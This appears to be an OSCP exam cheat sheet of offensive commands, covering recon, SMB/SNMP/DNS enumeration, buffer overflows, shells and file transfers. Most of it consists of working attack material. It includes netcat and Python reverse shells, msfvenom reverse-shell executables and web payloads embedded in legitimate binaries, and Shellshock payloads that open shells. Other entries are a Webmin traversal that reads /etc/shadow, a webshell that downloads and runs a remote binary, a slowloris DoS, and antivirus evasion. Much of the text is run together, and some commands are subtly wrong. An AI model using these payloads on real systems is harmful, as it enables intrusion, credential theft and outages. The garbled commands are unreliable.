Kali Linux Offensive Security Certified Professional Survival Exam Guide
Kali Linux
- Set the Target IP Address to the
$ipsystem variableexport ip=192.168.1.100 - Find the location of a file
locate sbd.exe - Search through directories in the
$PATHenvironment variablewhich sbd - Find a search for a file that contains a specific string in it’s name:
find / -name sbd\* - Show active internet connections
netstat -lntp - Change Password
passwd - Verify a service is running and listening
netstat -antp |grep apache - Start a service
systemctl start sshsystemctl start apache2 - Have a service start at boot
systemctl enable ssh - Stop a service
systemctl stop ssh - Unzip a gz file
gunzip access.log.gz - Unzip a tar.gz file
tar -xzvf file.tar.gz - Search command history
history | grep phrase_to_search_for - Download a webpage
wget http://www.cisco.com - Open a webpage
curl http://www.cisco.com - String manipulation
- Count number of lines in file
wc index.html - Get the start or end of a file
head index.htmltail index.html - Extract all the lines that contain a string
grep "href=" index.html - Cut a string by a delimiter, filter results then sort
grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u - Using Grep and regular expressions and output to a file
cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt - Use a bash loop to find the IP address behind each host
for url in $(cat list.txt); do host $url; done - Collect all the IP Addresses from a log file and sort by frequency
cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn
- Decoding using Kali
- Decode Base64 Encoded Values
echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode - Decode Hexidecimal Encoded Values
echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps
- Netcat - Read and write TCP and UDP Packets
- Download Netcat for Windows (handy for creating reverse shells and transfering files on windows systems):https://joncraton.org/blog/46/netcat-for-windows/
- Connect to a POP3 mail server
nc -nv $ip 110 - Listen on TCP/UDP port
nc -nlvp 4444 - Connect to a netcat port
nc -nv $ip 4444 - Send a file using netcat
nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe - Receive a file using netcat
nc -nlvp 4444 > incoming.exe - Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that...
whereis nc nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz /bin/nc.traditional -e /bin/bash 1.2.3.4 4444 - Create a reverse shell with Ncat using cmd.exe on Windows
nc.exe -nlvp 4444 -e cmd.exeornc.exe -nv <Remote IP> <Remote Port> -e cmd.exe - Create a reverse shell with Ncat using bash on Linux
nc -nv $ip 4444 -e /bin/bash - Netcat for Banner Grabbing:
echo "" | nc -nv -w1 <IP Address> <Ports>
- Ncat - Netcat for Nmap project which provides more security avoid IDS
- Reverse shell from windows using cmd.exe using ssl
ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl - Listen on port 4444 using ssl
ncat -v $ip 4444 --ssl
- Wireshark
- Show only SMTP (port 25) and ICMP traffic:
tcp.port eq 25 or icmp - Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet:
ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16 - Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:
ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip - Some commands are equal
ip.addr == xxx.xxx.xxx.xxxEqualsip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxxip.addr != xxx.xxx.xxx.xxxEqualsip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx
- Tcpdump
- Display a pcap file
tcpdump -r passwordz.pcap - Display ips and filter and sort
tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head - Grab a packet capture on port 80
tcpdump tcp port 80 -w output.pcap -i eth0 - Check for ACK or PSH flag set in a TCP packet
tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap
- IPTables
- Deny traffic to ports except for Local Loopback
iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROPiptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP - Clear ALL IPTables firewall rules
iptables -P INPUT ACCEPT iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT iptables -t nat -F iptables -t mangle -F iptables -F iptables -X iptables -t raw -F iptables -t raw -X
Information Gathering & Vulnerability Scanning
Passive Information Gathering
- Google Hacking
- Google search to find website sub domains
site:microsoft.com - Google filetype, and intitle
intitle:"netbotz appliance" "OK" -filetype:pdf - Google inurl
inurl:"level/15/sexec/-/show" - Google Hacking Database:
https://www.exploit-db.com/google-hacking-database/
- SSL Certificate Testing
https://www.ssllabs.com/ssltest/analyze.html - Email Harvesting
- Simply Email
git clone https://github.com/killswitch-GUI/SimplyEmail.git./SimplyEmail.py -all -e TARGET-DOMAIN
- Netcraft
- Determine the operating system and tools used to build a site
https://searchdns.netcraft.com/
- Determine the operating system and tools used to build a site
- Whois Enumeration
whois domain-name-here.comwhois $ip - Banner Grabbing
nc -v $ip 25telnet $ip 25nc TARGET-IP 80
- Recon-ng - full-featured web reconnaissance framework written in Python
cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.gitcd /opt/recon-ng./recon-ngshow moduleshelp
Active Information Gathering
Port Scanning
Subnet Reference Table
| / | Addresses | Hosts | Netmask | Amount of a Class C |
|---|---|---|---|---|
| /30 | 4 | 2 | 255.255.255.252 | 1/64 |
| /29 | 8 | 6 | 255.255.255.248 | 1/32 |
| /28 | 16 | 14 | 255.255.255.240 | 1/16 |
| /27 | 32 | 30 | 255.255.255.224 | 1/8 |
| /26 | 64 | 62 | 255.255.255.192 | 1/4 |
| /25 | 128 | 126 | 255.255.255.128 | 1/2 |
| /24 | 256 | 254 | 255.255.255.0 | 1 |
| /23 | 512 | 510 | 255.255.254.0 | 2 |
| /22 | 1024 | 1022 | 255.255.252.0 | 4 |
| /21 | 2048 | 2046 | 255.255.248.0 | 8 |
| /20 | 4096 | 4094 | 255.255.240.0 | 16 |
| /19 | 8192 | 8190 | 255.255.224.0 | 32 |
| /18 | 16384 | 16382 | 255.255.192.0 | 64 |
| /17 | 32768 | 32766 | 255.255.128.0 | 128 |
| /16 | 65536 | 65534 | 255.255.0.0 | 256 |
- Set the ip address as a varble
export ip=192.168.1.100nmap -A -T4 -p- $ip - Netcat port Scanning
nc -nvv -w 1 -z $ip 3388-3390 - Discover active IPs usign ARP on the network:
arp-scan $ip/24 - Discover who else is on the network
netdiscover - Discover IP Mac and Mac vendors from ARP
netdiscover -r $ip/24 - Nmap stealth scan using SYN
nmap -sS $ip - Nmap stealth scan using FIN
nmap -sF $ip - Nmap Banner Grabbing
nmap -sV -sT $ip - Nmap OS Fingerprinting
nmap -O $ip - Nmap Regular Scan:
nmap $ip/24 - Enumeration Scan
nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt - Enumeration Scan All Ports TCP / UDP and output to a txt file
nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip - Nmap output to a file:
nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24 - Quick Scan:
nmap -T4 -F $ip/24 - Quick Scan Plus:
nmap -sV -T4 -O -F --version-light $ip/24 - Quick traceroute
nmap -sn --traceroute $ip - All TCP and UDP Ports
nmap -v -sU -sS -p- -A -T4 $ip - Intense Scan:
nmap -T4 -A -v $ip - Intense Scan Plus UDP
nmap -sS -sU -T4 -A -v $ip/24 - Intense Scan ALL TCP Ports
nmap -p 1-65535 -T4 -A -v $ip/24 - Intense Scan - No Ping
nmap -T4 -A -v -Pn $ip/24 - Ping scan
nmap -sn $ip/24 - Slow Comprehensive Scan
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24 - Scan with Active connect in order to weed out any spoofed ports designed to troll you
nmap -p1-65535 -A -T5 -sT $ip Enumeration
- DNS Enumeration
- NMAP DNS Hostnames Lookup
nmap -F --dns-server <dns server ip> <target ip range> - Host Lookup
host -t ns megacorpone.com - Reverse Lookup Brute Force - find domains in the same range
for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found" - Perform DNS IP Lookup
dig a domain-name-here.com @nameserver - Perform MX Record Lookup
dig mx domain-name-here.com @nameserver - Perform Zone Transfer with DIG
dig axfr domain-name-here.com @nameserver - DNS Zone Transfers
Windows DNS zone transfernslookup -> set type=any -> ls -d blah.comLinux DNS zone transferdig axfr blah.com @ns1.blah.com - Dnsrecon DNS Brute Force
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml - Dnsrecon DNS List of megacorp
dnsrecon -d megacorpone.com -t axfr - DNSEnum
dnsenum zonetransfer.me
- NMap Enumeration Script List:
- NMap Discovery
https://nmap.org/nsedoc/categories/discovery.html - Nmap port version detection MAXIMUM power
nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p <port> <host>
- NFS (Network File System) Enumeration
- Show Mountable NFS Shares
nmap -sV --script=nfs-showmount $ip
- Show Mountable NFS Shares
- RPC (Remote Procedure Call) Enumeration
- Connect to an RPC share without a username and password and enumerate privledges
rpcclient --user="" --command=enumprivs -N $ip - Connect to an RPC share with a username and enumerate privledges
rpcclient --user="<Username>" --command=enumprivs $ip
- SMB Enumeration
- SMB OS Discovery
nmap $ip --script smb-os-discovery.nse - Nmap port scan
nmap -v -p 139,445 -oG smb.txt $ip-254 - Netbios Information Scanning
nbtscan -r $ip/24 - Nmap find exposed Netbios servers
nmap -sU --script nbstat.nse -p 137 $ip - Nmap all SMB scripts scan
nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip - Nmap all SMB scripts authenticated scan
nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip - SMB Enumeration Tools
nmblookup -A $ipsmbclient //MOUNT/share -I $ip -Nrpcclient -U "" $ipenum4linux $ipenum4linux -a $ip - SMB Finger Printing
smbclient -L //$ip - Nmap Scan for Open SMB Shares
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.10.0/24 - Nmap scans for vulnerable SMB Servers
nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip - Nmap List all SMB scripts installed
ls -l /usr/share/nmap/scripts/smb* - Enumerate SMB Users
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14ORpython /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip - RID Cycling - Null Sessions
ridenum.py $ip 500 50000 dict.txt - Manual Null Session TestingWindows:
net use \\$ip\IPC$ "" /u:""Linux:smbclient -L //$ip
- SMTP Enumeration - Mail Severs
- Verify SMTP port using Netcat
nc -nv $ip 25
- Verify SMTP port using Netcat
- POP3 Enumeration - Reading other peoples mail - You may find usernames and passwords for email accounts, so here is how to check the mail using Telnet
root@kali:~# telnet $ip 110 +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready USER billydean +OK PASS password +OK Welcome billydean list +OK 2 1807 1 786 2 1021 retr 1 +OK Message follows From: jamesbrown@motown.com Dear Billy Dean, Here is your login for remote desktop ... try not to forget it this time! username: billydean password: PA$$W0RD!Z - SNMP Enumeration -Simple Network Management Protocol
- Fix SNMP output values so they are human readable
apt-get install snmp-mibs-downloader download-mibsecho "" > /etc/snmp/snmp.conf - SNMP Enumeration Commands
snmpcheck -t $ip -c publicsnmpwalk -c public -v1 $ip 1|grep hrSWRunName|cut -d\* \* -fsnmpenum -t $iponesixtyone -c names -i hosts
- SNMPv3 Enumeration
nmap -sV -p 161 --script=snmp-info $ip/24 - Automate the username enumeration process for SNMPv3:
apt-get install snmp snmp-mibs-downloaderwget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb - SNMP Default Credentials
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
- MS SQL Server Enumeration
- Nmap Information Gathering
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip
- Webmin and miniserv/0.01 Enumeration - Port 10000Test for LFI & file disclosure vulnerability by grabbing /etc/passwd
`curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd`Test to see if webmin is running as root by grabbing /etc/shadow`curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow` - Linux OS Enumeration
- List all SUID files
find / -perm -4000 2>/dev/null - Determine the current version of Linux
cat /etc/issue - Determine more information about the environment
uname -a - List processes running
ps -xaf - List the allowed (and forbidden) commands for the invoking use
sudo -l - List iptables rules
iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t raw iptables -vL -t security
- Windows OS Enumeration
- net config Workstation
- systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
- hostname
- net users
- ipconfig /all
- route print
- arp -A
- netstat -ano
- netsh firewall show state
- netsh firewall show config
- schtasks /query /fo LIST /v
- tasklist /SVC
- net start
- DRIVERQUERY
- reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
- reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
- dir /s pass == cred == vnc == .config
- findstr /si password *.xml *.ini *.txt
- reg query HKLM /f password /t REG_SZ /s
- reg query HKCU /f password /t REG_SZ /s
- Vulnerability Scanning with Nmap
- Nmap Exploit Scripts
https://nmap.org/nsedoc/categories/exploit.html - Nmap search through vulnerability scripts
cd /usr/share/nmap/scripts/ ls -l \*vuln\* - Nmap search through Nmap Scripts for a specific keyword
ls /usr/share/nmap/scripts/\* | grep ftp - Scan for vulnerable exploits with nmap
nmap --script exploit -Pn $ip - NMap Auth Scripts
https://nmap.org/nsedoc/categories/auth.html - Nmap Vuln Scanning
https://nmap.org/nsedoc/categories/vuln.html - NMap DOS Scanning
nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true - Scan for coldfusion web vulnerabilities
nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip - Anonymous FTP dump with Nmap
nmap -v -p 21 --script=ftp-anon.nse $ip-254 - SMB Security mode scan with Nmap
nmap -v -p 21 --script=ftp-anon.nse $ip-254 - File Enumeration
- Find UID 0 files root execution
/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null- Get handy linux file system enumeration script (/var/tmp)
wget https://highon.coffee/downloads/linux-local-enum.shchmod +x ./linux-local-enum.sh./linux-local-enum.sh - Find executable files updated in August
find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug - Find a specific file on linux
find /. -name suid\* - Find all the strings in a file
strings <filename> - Determine the type of a file
file <filename>
HTTP Enumeration
- Search for folders with gobuster:
gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip - OWasp DirBuster - Http folder enumeration - can take a dictionary file
- Dirb - Directory brute force finding using a dictionary file
dirb http://$ip/ wordlist.dictdirb <http://vm/>Dirb against a proxy dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129- Nikto
nikto -h $ip - HTTP Enumeration with NMAP
nmap --script=http-enum -p80 -n $ip/24 - Nmap Check the server methods
nmap --script http-methods --script-args http-methods.url-path='/test' $ip - Get Options available from web server
curl -vX OPTIONS vm/test - Uniscan directory finder:
uniscan -qweds -u <http://vm/> - Wfuzz - The web brute forcer
wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=testwfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZwfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 $ip/FUZZRecurse level 3wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 $ip/FUZZ
- Open a service using a port knock (Secured with Knockd)
for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x server_ip_address; done - WordPress Scan - Wordpress security scanner
- wpscan --url $ip/blog --proxy $ip:3129
- RSH Enumeration - Unencrypted file transfer system
- auxiliary/scanner/rservices/rsh_login
- Finger Enumeration
- finger @$ip
- finger batman@$ip
- TLS & SSL Testing
- ./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html
- Proxy Enumeration (useful for open proxies)
- nikto -useproxy http://$ip:3128 -h $ip
- Steganography
apt-get install steghidesteghide extract -sf picture.jpgsteghide info picture.jpgapt-get install stegosuite
- The OpenVAS Vulnerability Scanner
- apt-get update
apt-get install openvas
openvas-setup - netstat -tulpn
- Login at:
https://$ip:9392
Buffer Overflows and Exploits
- DEP and ASLR - Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR)
- Nmap Fuzzers:
- NMap Fuzzer List
https://nmap.org/nsedoc/categories/fuzzer.html - NMap HTTP Form Fuzzer
nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 $ip - Nmap DNS Fuzzer
nmap --script dns-fuzz --script-args timelimit=2h $ip -d
- Windows Buffer Overflows
- Controlling EIP
locate pattern_create pattern_create.rb -l 2700 locate pattern_offset pattern_offset.rb -q 39694438 - Verify exact location of EIP - [*] Exact match at offset 2606
buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90 - Check for “Bad Characters” - Run multiple times 0x00 - 0xFF
- Use Mona to determine a module that is unprotected
- Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP
- Use NASM to determine the HEX code for a JMP ESP instruction
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb JMP ESP 00000000 FFE4 jmp esp - Run Mona in immunity log window to find (FFE4) XEF command
!mona find -s "\xff\xe4" -m slmfc.dll found at 0x5f4a358f - Flip around for little endian format buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390 - MSFVenom to create payload
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d" - Final Payload with NOP slide
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode - Create a PE Reverse Shell
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
exe -o shell_reverse.exe - Create a PE Reverse Shell and Encode 9 times with Shikata_ga_nai
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe - Create a PE reverse shell and embed it into an existing executable
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe - Create a PE Reverse HTTPS shell
msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe
- Linux Buffer Overflows
- Run Evans Debugger against an app
edb --run /usr/games/crossfire/bin/crossfire - ESP register points toward the end of our CBuffer
add eax,12
jmp eax
83C00C add eax,byte +0xc
FFE0 jmp eax - Check for “Bad Characters” Process of elimination - Run multiple times 0x00 - 0xFF
- Find JMP ESP address
"\x97\x45\x13\x08" # Found at Address 08134597 - crash = "\x41" * 4368 + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
- msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai
- Connect to the shell with netcat:
nc -v $ip 4444
Shells
- Netcat Shell Listener
nc -nlvp 4444 - Spawning a TTY Shell - Break out of Jail or limited shell You should almost always upgrade your shell after taking control of an apache or www user.
(For example when you encounter an error message when trying to run an exploit sh: no job control in this shell ) (hint: sudo -l to see what you can run)- You may encounter limited shells that use rbash and only allow you to execute a single command per session. You can overcome this by executing an SSH shell to your localhost:
ssh user@$ip nc $localip 4444 -e /bin/sh enter user's password python -c 'import pty; pty.spawn("/bin/sh")' export TERM=linux
python -c 'import pty; pty.spawn("/bin/sh")'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'echo os.system('/bin/bash')/bin/sh -iperl —e 'exec "/bin/sh";'perl:exec "/bin/sh";ruby:exec "/bin/sh"lua:os.execute('/bin/sh')From within IRB:exec "/bin/sh"From within vi::!bashor:set shell=/bin/bash:shellFrom within vim':!bash':From within nmap:!shFrom within tcpdumpecho $’id\\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test chmod +x /tmp/.test sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z rootFrom busybox/bin/busybox telnetd -|/bin/sh -p9999 - Pen test monkey PHP reverse shell
http://pentestmonkey.net/tools/web-shells/php-reverse-shel - php-findsock-shell - turns PHP port 80 into an interactive shell
http://pentestmonkey.net/tools/web-shells/php-findsock-shell - Perl Reverse Shell
http://pentestmonkey.net/tools/web-shells/perl-reverse-shell - PHP powered web browser Shell b374k with file upload etc.
https://github.com/b374k/b374k - Windows reverse shell - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shellhttps://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1
- Web Backdoors from Fuzzdb https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors
- Creating Meterpreter Shells with MSFVenom - http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elfWindowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exeMacmsfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.machoWeb PayloadsPHPmsfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.phpORmsfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.phpThen we need to add the <?php at the first line of the file so that it will execute as a PHP webpage:cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.phpASPmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.aspJSPmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jspWARmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.warScripting PayloadsPythonmsfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pyBashmsfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.shPerlmsfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.plShellcodeFor all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.Linux Based Shellcodemsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>Windows Based Shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>Mac Based Shellcodemsfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>Handlers Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.use exploit/multi/handler set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> set ExitOnSession false exploit -j -zOnce the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘ - SSH to Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/
use auxiliary/scanner/ssh/ssh_login use post/multi/manage/shell_to_meterpreter - Shellshock
- Testing for shell shock with NMap
root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip- git clone https://github.com/nccgroup/shocker
./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose- Shell Shock SSH Forced Command
Check for forced command by enabling all debug output with sshssh -vvv ssh -i noob noob@$ip '() { :;}; /bin/bash' - cat file (view file contents)
echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo \\$(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80 - Shell Shock run bind shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e /bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80
File Transfers
- Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target.
- Simple Local Web Servers
- Run a basic http server, great for serving up shells etc
python -m SimpleHTTPServer 80 - Run a basic Python3 http server, great for serving up shells etc
python3 -m http.server - Run a ruby webrick basic http server
ruby -rwebrick -e "WEBrick::HTTPServer.new
(:Port => 80, :DocumentRoot => Dir.pwd).start" - Run a basic PHP http server
php -S $ip:80
- Creating a wget VB Script on Windows:
https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt - Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line):
echo Set args = Wscript.Arguments >> webdl.vbs timeout 1 echo Url = "http://1.1.1.1/windows-privesc-check2.exe" >> webdl.vbs timeout 1 echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") >> webdl.vbs timeout 1 echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> webdl.vbs timeout 1 echo xHttp.Open "GET", Url, False >> webdl.vbs timeout 1 echo xHttp.Send >> webdl.vbs timeout 1 echo with bStrm >> webdl.vbs timeout 1 echo .type = 1 ' >> webdl.vbs timeout 1 echo .open >> webdl.vbs timeout 1 echo .write xHttp.responseBody >> webdl.vbs timeout 1 echo .savetofile "C:\temp\windows-privesc-check2.exe", 2 ' >> webdl.vbs timeout 1 echo end with >> webdl.vbs timeout 1 echoThe file can be run using the following syntax:C:\temp\cscript.exe webdl.vbs - Mounting File Shares
- Mount NFS share to /mnt/nfs
mount $ip:/vol/share /mnt/nfs
- Mount NFS share to /mnt/nfs
- HTTP Put
nmap -p80 $ip --script http-put --script-args http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php Uploading Files
- SCPscp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2scp localfile username@$ip:~/Folder/scp Linux_Exploit_Suggester.pl bob@192.168.1.10:~
- Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This tool will auto upload a backdoor
davtest -move -sendbd auto -url http://$ipYou can also upload a file using the PUT method with the curl command:curl -T 'leetshellz.txt' 'http://$ip'And rename it to an executable file using the MOVE method with the curl command:curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt' - Upload shell using limited php shell cmd
use the webshell to download and execute the meterpreter
[curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil" http://$ip/files/sh.php
[curl -s --data "cmd=chmod 777 /tmp/evil" http://$ip/files/sh.php
curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php - TFTP
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /usr/share/windows-binaries/nc.exe /tftp/
EX. FROM WINDOWS HOST:
C:\Users\Offsec>tftp -i $ip get nc.exe - FTP
apt-get update && apt-get install pure-ftpd#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome//etc/init.d/pure-ftpd restart
Packing Files
- Ultimate Packer for eXecutables
upx -9 nc.exe - exe2bat - Converts EXE to a text file that can be copied and pasted
locate exe2bat
wine exe2bat.exe nc.exe nc.txt - Veil - Evasion Framework - https://github.com/Veil-Framework/Veil-Evasion
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
Privilege Escalation
